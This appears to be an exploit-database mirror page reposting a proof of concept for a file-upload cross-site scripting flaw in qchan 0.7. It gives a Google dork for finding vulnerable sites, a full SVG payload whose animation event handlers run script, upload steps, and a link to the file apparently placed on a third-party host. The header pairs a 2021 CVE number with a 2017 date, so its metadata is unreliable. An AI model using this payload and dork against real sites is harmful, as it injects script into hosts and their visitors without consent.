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qchan 0.7 File upload XSS Vulnerability

CVE Category Price Severity
CVE-2021-39893 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-12-30
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017120326

Below is a copy:

qchan 0.7 File upload XSS Vulnerability
============================================================================
| # Title     : qchan 0.7 File upload XSS Vulnerability                    |
| # Author    : indoushka                                                  |
| # email     : [email protected]                                   |
| # Tested on : windows 10 Franais V.(Pro)                                |
| # Version   : 0.7                                                        |
| # Vendor    : http://wmscripti.com/                                      |  
| # Dork      : Powered by Qchan 0.7                                       |
============================================================================

poc :


[+] Dorking n Google Or Other Search Enggine 


[+] Save this code as test.svg : 

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<circle id="indoushka" r="50" cx="100" cy="100" style="fill: #F00">
<set attributeName="fill" attributeType="CSS" onbegin='alert(1)' onend='alert(2)' to="#00F" begin="1s" dur="5s" />
</circle>
</defs>
<use xlink:href="#indoushka"/>
</svg> 

[+] upload it .

http://shandian.free.yuny.pw/uploads/2017/12/test.svg



Greetz :----------------------------------------------------------------------------------------
                                                                                               |
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic              |
                                                                                               |
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